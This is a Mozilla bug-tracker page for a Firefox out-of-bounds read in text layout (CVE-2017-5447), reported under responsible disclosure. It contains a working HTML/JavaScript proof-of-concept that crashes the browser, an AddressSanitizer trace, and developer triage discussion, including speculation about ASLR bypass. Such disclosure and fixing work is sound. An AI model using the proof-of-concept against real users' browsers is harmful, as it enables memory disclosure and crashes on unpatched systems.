Note: There are a few cases of duplicates in user autocompletion which are being worked on.
Bug 1343552 (CVE-2017-5447)

ASAN: out-of-bounds read in gfxTextRun (after "ASSERTION: Invalid offset" and "ASSERTION: Substring out of range")

VERIFIED FIXED in Firefox 53

Status

()

Core
Layout: Text
--
critical
VERIFIED FIXED
5 months ago
2 months ago

People

(Reporter: Ivan Fratric, Assigned: Mats Palmgren (vacation - back in August))

Tracking

(5 keywords)

Trunk
mozilla55
assertion, crash, csectype-bounds, sec-high, testcase
Points:
---
Bug Flags:
in-testsuite ?

Firefox Tracking Flags

(firefox51 wontfix, firefox52 wontfix, firefox53+ verified, firefox54+ verified, firefox55+ verified, firefox-esr4553+ verified, firefox-esr5253+ verified)

Details

(Whiteboard: [adv-main53+][adv-esr52.1+][adv-esr45.9+], URL)

Attachments

(5 attachments, 3 obsolete attachments)

(Reporter)

Description

5 months ago
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Steps to reproduce:

There is an out-of-bounds read vulnerability in Firefox. The vulnerability was confirmed on the nightly ASan build. 

Please note: This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

With any fix, please give credit for identifying the vulnerability to Ivan Fratric of Google Project Zero.

PoC:

=================================================================

<style>
.class1 { float: left; white-space: pre-line; }
.class2 { border-bottom-style: solid; font-face: Arial; font-size: 7ex; }
</style>
<script>
function go() {
  menuitem.appendChild(document.body.firstChild);
  canvas.toBlob(callback);
}
function callback() {
  var s = menu.style;
  s.setProperty("flex-direction", "row-reverse");
  option.scrollBy();
  document.implementation.createHTMLDocument("foo").adoptNode(progress);
  s.setProperty("flex-direction", "column");
  canvas.toBlob(callback);
}
</script>
aaaaaaaaaaaaaaaaaa
</head>
<body onload=go()>
<del class="class1">
<span class="class2">
<menu id="menu">
<menuitem>
</menu>
<menuitem id="menuitem">
<progress id="progress">
</del>
<ol dir="rtl">l+0</ol>
<canvas id="canvas">
<option id="option">

=================================================================

ASan log:

=================================================================
==104545==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000721ecc at pc 0x7fcef25af0e8 bp 0x7ffc23afd1b0 sp 0x7ffc23afd1a8
READ of size 4 at 0x611000721ecc thread T0
    #0 0x7fcef25af0e7 in IsSimpleGlyph /home/worker/workspace/build/src/gfx/thebes/gfxFont.h:785:46
    #1 0x7fcef25af0e7 in GetAdvanceForGlyph /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.h:638
    #2 0x7fcef25af0e7 in GetAdvanceForGlyphs /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:334
    #3 0x7fcef25af0e7 in gfxTextRun::GetAdvanceWidth(gfxTextRun::Range, gfxTextRun::PropertyProvider*, gfxFont::Spacing*) const /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:1074
    #4 0x7fcef704ac7c in nsTextFrame::TrimTrailingWhiteSpace(mozilla::gfx::DrawTarget*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:9654:15
    #5 0x7fcef6d2a2ef in nsLineLayout::TrimTrailingWhiteSpaceIn(nsLineLayout::PerSpanData*, int*) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:2584:44
    #6 0x7fcef6d2a1c7 in nsLineLayout::TrimTrailingWhiteSpaceIn(nsLineLayout::PerSpanData*, int*) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:2531:11
    #7 0x7fcef6d2a1c7 in nsLineLayout::TrimTrailingWhiteSpaceIn(nsLineLayout::PerSpanData*, int*) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:2531:11
    #8 0x7fcef6d2b293 in nsLineLayout::TrimTrailingWhiteSpace() /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:2654:3
    #9 0x7fcef6dcc03b in nsBlockFrame::PlaceLine(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFloatManager::SavedState*, mozilla::LogicalRect&, int&, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4479:3
    #10 0x7fcef6dcabe3 in nsBlockFrame::DoReflowInlineFrames(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFlowAreaRect&, int&, nsFloatManager::SavedState*, bool*, LineReflowStatus*, bool) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4082:12
    #11 0x7fcef6dc0d6c in nsBlockFrame::ReflowInlineFrames(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3828:9
    #12 0x7fcef6dafacf in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2834:5
    #13 0x7fcef6dafacf in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
    #14 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
    #15 0x7fcef6dc6e8d in nsBlockReflowContext::ReflowBlock(mozilla::LogicalRect const&, bool, nsCollapsingMargin&, int, bool, nsLineBox*, mozilla::ReflowInput&, nsReflowStatus&, mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockReflowContext.cpp:306:3
    #16 0x7fcef6dd9001 in nsBlockFrame::ReflowFloat(mozilla::BlockReflowInput&, mozilla::LogicalRect const&, nsIFrame*, mozilla::LogicalMargin&, mozilla::LogicalMargin&, bool, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:6272:5
    #17 0x7fcef6d4d19f in mozilla::BlockReflowInput::FlowAndPlaceFloat(nsIFrame*) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:910:5
    #18 0x7fcef6d4b143 in mozilla::BlockReflowInput::AddFloat(nsLineLayout*, nsIFrame*, int) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:627:14
    #19 0x7fcef6d21369 in AddFloat /home/worker/workspace/build/src/layout/generic/nsLineLayout.h:190:12
    #20 0x7fcef6d21369 in nsLineLayout::ReflowFrame(nsIFrame*, nsReflowStatus&, mozilla::ReflowOutput*, bool&) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:979
    #21 0x7fcef6dcb7bb in nsBlockFrame::ReflowInlineFrame(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsIFrame*, LineReflowStatus*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4153:3
    #22 0x7fcef6dca446 in nsBlockFrame::DoReflowInlineFrames(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFlowAreaRect&, int&, nsFloatManager::SavedState*, bool*, LineReflowStatus*, bool) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3954:5
    #23 0x7fcef6dc0d6c in nsBlockFrame::ReflowInlineFrames(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3828:9
    #24 0x7fcef6dafacf in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2834:5
    #25 0x7fcef6dafacf in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
    #26 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
    #27 0x7fcef6dc6e8d in nsBlockReflowContext::ReflowBlock(mozilla::LogicalRect const&, bool, nsCollapsingMargin&, int, bool, nsLineBox*, mozilla::ReflowInput&, nsReflowStatus&, mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockReflowContext.cpp:306:3
    #28 0x7fcef6dbc4da in nsBlockFrame::ReflowBlockFrame(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3462:7
    #29 0x7fcef6dafafa in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2831:5
    #30 0x7fcef6dafafa in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
    #31 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
    #32 0x7fcef6e0ada0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3
    #33 0x7fcef6e09555 in nsCanvasFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:711:5
    #34 0x7fcef6e0ada0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3
    #35 0x7fcef6eb0394 in nsHTMLScrollFrame::ReflowScrolledFrame(mozilla::ScrollReflowInput*, bool, bool, mozilla::ReflowOutput*, bool) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:552:3
    #36 0x7fcef6eb1840 in nsHTMLScrollFrame::ReflowContents(mozilla::ScrollReflowInput*, mozilla::ReflowOutput const&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:664:3
    #37 0x7fcef6eb5073 in nsHTMLScrollFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:1039:3
    #38 0x7fcef6e1b964 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, int, int, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1072:3
    #39 0x7fcef6d8b760 in mozilla::ViewportFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:326:7
    #40 0x7fcef6b89187 in mozilla::PresShell::DoReflow(nsIFrame*, bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9202:3
    #41 0x7fcef6b9cde4 in mozilla::PresShell::ProcessReflowCommands(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9375:24
    #42 0x7fcef6b9bcf6 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4174:11
    #43 0x7fcef2c4646e in FlushPendingNotifications /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:598:5
    #44 0x7fcef2c4646e in nsDocument::FlushPendingNotifications(mozilla::FlushType) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:7961
    #45 0x7fcef2a1f2b4 in GetPrimaryFrame /home/worker/workspace/build/src/dom/base/Element.cpp:2164:5
    #46 0x7fcef2a1f2b4 in mozilla::dom::Element::GetScrollFrame(nsIFrame**, bool) /home/worker/workspace/build/src/dom/base/Element.cpp:637
    #47 0x7fcef2a20871 in mozilla::dom::Element::ScrollBy(mozilla::dom::ScrollToOptions const&) /home/worker/workspace/build/src/dom/base/Element.cpp:794:28
    #48 0x7fcef4112002 in mozilla::dom::ElementBinding::scrollBy(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:2492:7
    #49 0x7fcef45cdd27 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2953:13
    #50 0x7fcefa0cc04f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #51 0x7fcefa0cc04f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
    #52 0x7fcefa0b2970 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12
    #53 0x7fcefa0b2970 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2955
    #54 0x7fcefa097c9b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12
    #55 0x7fcefa0cc366 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15
    #56 0x7fcefa0cca42 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #57 0x7fcefaa9cd1c in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2878:12
    #58 0x7fcef4242c05 in mozilla::dom::BlobCallback::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Blob*, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLCanvasElementBinding.cpp:81:8
    #59 0x7fcef475613f in Call /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/HTMLCanvasElementBinding.h:180:12
    #60 0x7fcef475613f in mozilla::dom::CanvasRenderingContextHelper::ToBlob(JSContext*, nsIGlobalObject*, mozilla::dom::BlobCallback&, nsAString_internal const&, JS::Handle<JS::Value>, mozilla::ErrorResult&)::EncodeCallback::ReceiveBlob(already_AddRefed<mozilla::dom::Blob>) /home/worker/workspace/build/src/dom/canvas/CanvasRenderingContextHelper.cpp:56
    #61 0x7fcef2acde86 in mozilla::dom::EncodingCompleteEvent::Run() /home/worker/workspace/build/src/dom/base/ImageEncoder.cpp:105:12
    #62 0x7fcef0217012 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
    #63 0x7fcef02138c0 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
    #64 0x7fcef10322bf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #65 0x7fcef0fa3658 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
    #66 0x7fcef0fa3658 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #67 0x7fcef0fa3658 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #68 0x7fcef63ffdbf in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #69 0x7fcef9a88d81 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
    #70 0x7fcef9c5243c in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4476:10
    #71 0x7fcef9c53f38 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4654:8
    #72 0x7fcef9c551fc in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4745:16
    #73 0x4dffaf in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:237:10
    #74 0x4dffaf in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:308
    #75 0x7fcf0b63282f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
    #76 0x41c3d8 in _start (/home/ifratric/p0/latest/firefox/firefox+0x41c3d8)

0x611000721ecc is located 0 bytes to the right of 204-byte region [0x611000721e00,0x611000721ecc)
allocated by thread T0 here:
    #0 0x4b2e4b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x7fcef25b9900 in AllocateStorageForTextRun /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:122:21
    #2 0x7fcef25b9900 in Create /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:139
    #3 0x7fcef25b9900 in gfxFontGroup::MakeTextRun(unsigned char const*, unsigned int, gfxTextRunFactory::Parameters const*, unsigned int, gfxMissingFontRecorder*) /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:2075
    #4 0x7fcef6ff6f49 in BuildTextRunsScanner::BuildTextRunForFrames(void*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:2394:17
    #5 0x7fcef6fefe0b in BuildTextRunsScanner::FlushFrames(bool, bool) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1633:17
    #6 0x7fcef6ffb09d in BuildTextRunsScanner::ScanFrame(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1902:9
    #7 0x7fcef6ffb72f in BuildTextRunsScanner::ScanFrame(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1942:5
    #8 0x7fcef6ffb72f in BuildTextRunsScanner::ScanFrame(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1942:5
    #9 0x7fcef7003a8a in BuildTextRuns /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1534:7
    #10 0x7fcef7003a8a in nsTextFrame::EnsureTextRun(nsTextFrame::TextRunType, mozilla::gfx::DrawTarget*, nsIFrame*, nsLineList_iterator const*, unsigned int*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:2860
    #11 0x7fcef703d429 in nsTextFrame::AddInlineMinISizeForFlow(nsRenderingContext*, nsIFrame::InlineMinISizeData*, nsTextFrame::TextRunType) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:8329:5
    #12 0x7fcef70405ef in nsTextFrame::AddInlineMinISize(nsRenderingContext*, nsIFrame::InlineMinISizeData*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:8499:7
    #13 0x7fcef6e1a982 in nsContainerFrame::DoInlineIntrinsicISize(nsRenderingContext*, nsIFrame::InlineIntrinsicISizeData*, nsLayoutUtils::IntrinsicISizeType) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:897:9
    #14 0x7fcef6e1a982 in nsContainerFrame::DoInlineIntrinsicISize(nsRenderingContext*, nsIFrame::InlineIntrinsicISizeData*, nsLayoutUtils::IntrinsicISizeType) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:897:9
    #15 0x7fcef6d9f622 in nsBlockFrame::GetMinISize(nsRenderingContext*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:774:11
    #16 0x7fcef6e1b150 in ShrinkWidthToFit /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:5566:22
    #17 0x7fcef6e1b150 in nsContainerFrame::ComputeAutoSize(nsRenderingContext*, mozilla::WritingMode, mozilla::LogicalSize const&, int, mozilla::LogicalSize const&, mozilla::LogicalSize const&, mozilla::LogicalSize const&, nsIFrame::ComputeSizeFlags) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:942
    #18 0x7fcef6e2260e in nsFrame::ComputeSize(nsRenderingContext*, mozilla::WritingMode, mozilla::LogicalSize const&, int, mozilla::LogicalSize const&, mozilla::LogicalSize const&, mozilla::LogicalSize const&, nsIFrame::ComputeSizeFlags) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:4822:24
    #19 0x7fcef6d4fb36 in FloatMarginISize(mozilla::ReflowInput const&, int, nsIFrame*, mozilla::SizeComputationInput const&) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:692:5
    #20 0x7fcef6d4c21f in mozilla::BlockReflowInput::FlowAndPlaceFloat(nsIFrame*) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:757:30
    #21 0x7fcef6d4b143 in mozilla::BlockReflowInput::AddFloat(nsLineLayout*, nsIFrame*, int) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:627:14
    #22 0x7fcef6d21369 in AddFloat /home/worker/workspace/build/src/layout/generic/nsLineLayout.h:190:12
    #23 0x7fcef6d21369 in nsLineLayout::ReflowFrame(nsIFrame*, nsReflowStatus&, mozilla::ReflowOutput*, bool&) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:979
    #24 0x7fcef6dcb7bb in nsBlockFrame::ReflowInlineFrame(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsIFrame*, LineReflowStatus*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4153:3
    #25 0x7fcef6dca446 in nsBlockFrame::DoReflowInlineFrames(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFlowAreaRect&, int&, nsFloatManager::SavedState*, bool*, LineReflowStatus*, bool) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3954:5
    #26 0x7fcef6dc0d6c in nsBlockFrame::ReflowInlineFrames(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3828:9
    #27 0x7fcef6dafacf in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2834:5
    #28 0x7fcef6dafacf in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
    #29 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
    #30 0x7fcef6dc6e8d in nsBlockReflowContext::ReflowBlock(mozilla::LogicalRect const&, bool, nsCollapsingMargin&, int, bool, nsLineBox*, mozilla::ReflowInput&, nsReflowStatus&, mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockReflowContext.cpp:306:3
    #31 0x7fcef6dbc4da in nsBlockFrame::ReflowBlockFrame(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3462:7
    #32 0x7fcef6dafafa in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2831:5
    #33 0x7fcef6dafafa in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
    #34 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
    #35 0x7fcef6e0ada0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3
    #36 0x7fcef6e09555 in nsCanvasFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:711:5

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/worker/workspace/build/src/gfx/thebes/gfxFont.h:785:46 in IsSimpleGlyph
Shadow bytes around the buggy address:
  0x0c22800dc380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c22800dc390: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c22800dc3a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c22800dc3b0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x0c22800dc3c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c22800dc3d0: 00 00 00 00 00 00 00 00 00[04]fa fa fa fa fa fa
  0x0c22800dc3e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c22800dc3f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c22800dc400: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x0c22800dc410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c22800dc420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==104545==ABORTING

Comment 1

5 months ago
Milan or Jonathan, this looks like your bailiwick(s)? That or Dan or someone else who knows about our flexbox implementation.
Group: firefox-core-security → core-security
Component: Untriaged → Graphics: Text
Flags: needinfo?(milan)
Flags: needinfo?(jfkthame)
Product: Firefox → Core
Keywords: sec-audit
Tracking for 53 since 53 release falls within the 90-day window; release date is April 18th.
status-firefox53: --- → affected
status-firefox54: --- → affected
tracking-firefox53: --- → +
tracking-firefox54: --- → +
"sec-audit" is not "investigate a known bug", it's "we fixed a bug, let's look to see if other places use this bad pattern". This is a demonstrable crash, nothing to "audit".

buffer overflows are using sec-high or sec-critical. Even if it's only reading random crap into a glyph that's then displayed, it might be possible to get that data back out and a memory leak can lead to e.g. ASLR bypasses.
Keywords: sec-audit → sec-high
status-firefox51: --- → wontfix
status-firefox52: --- → affected
status-firefox-esr45: --- → affected
status-firefox-esr52: --- → affected
tracking-firefox52: --- → ?
tracking-firefox-esr45: --- → ?
tracking-firefox-esr52: --- → ?
Offhand, this looks like the sort of thing we get when we use a "stale" textrun that no longer corresponds to the frame(s) it is associated with. Mats has done an awesome job of tracking down some stuff like this in the past; any insights here?

(I'll go update an ASAN build and see if I can reproduce this shortly...)
Flags: needinfo?(jfkthame) → needinfo?(mats)
I can't reproduce in my locally-built ASAN build (on Linux64), nor can I reproduce in one of our published ASAN trunk builds (from "mozilla-central optimized builds" link on https://developer.mozilla.org/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer )

That leads me to believe that either:
 (a) there's a platform/environment difference that matters for making this reproducible.
 (b) OR perhaps Ivan is using an older build of Firefox and this has already been fixed in trunk.
 (c) OR perhaps the bug only reproduces a small fraction of the time.

Ivan, could you clarify:
 - what platform you're testing on.
 - what version of Firefox you were testing (either a changeset ID, or a link to where you got the source used, would be great. If you still have the build around, the "Built from" link at about:buildconfig would be awesome.
 - how reproducible the issue is for you (does it fail 100% of the time?)

(Alternately/also, if anyone else has tested this & has been able to reproduce, please say so.)
Flags: needinfo?(ifratric)
Yeah, I can reproduce it in both an Opt ASAN build and a debug build on Linux64.
Manically resizing the window while also reloading the page seems to do it for me.

Looks like an array-index-out-of-bounds on gfxShapedText::mDetailedGlyphs.
My brain is tired though, so I'm not really sure what's going on...
Flags: needinfo?(ifratric)
Thanks -- resizing my browser (horizontally, from small to medium-sized) just after a reload seems to trigger the issue for me too.
(Reporter)

Comment 8

5 months ago
Sorry about the unreliable PoC, it worked reliably on my config and I wanted to report ASAP, but it seems it is quite dependent on the window size / layout. For me it works reliably with the window.innerWidth x window.innerHeight = 960 x 827.

I confirmed the bug on mozilla-central optimized build (just did it again on the latest build) on Ubuntu 64 and in addition to this also on a custom ASan build of mozilla-central (though that one is a couple of days old) and on an ASan build of Firefox firefox-51.0.1.

I'm also attaching the original PoC as well as a slightly modified PoC that triggers OOB read that is even more outside the the bounds of the buffer than the original, so it also crashes "normal" (non-ASan) release of Firefox 51.0.1 (at least in when rendered with the same window size). Spaces and newlines in the PoC are quite important so in this case it's better to attach than copy / paste.

To comment a bit on the security impact: What is read out of bound are glyph widths. I haven't tried to exploit this further but presumably reading incorrect glyph widths would cause the differences in page layout which an attacker could use as oracle to determine values in memory they wouldn't normally be able to read. This might result in ASLR bypass, reading data cross-domain etc. Wouldn't be the most elegant exploit ever but seems like a plausible scenario.
(Reporter)

Comment 9

5 months ago
Created attachment 8843258 [details]
Original PoC
(Reporter)

Comment 10

5 months ago
Created attachment 8843259 [details]
Modified PoC that accesses more out-of-bounds data
With both PoCs, I hit these 4 assertion failures before ASAN crashes:
{
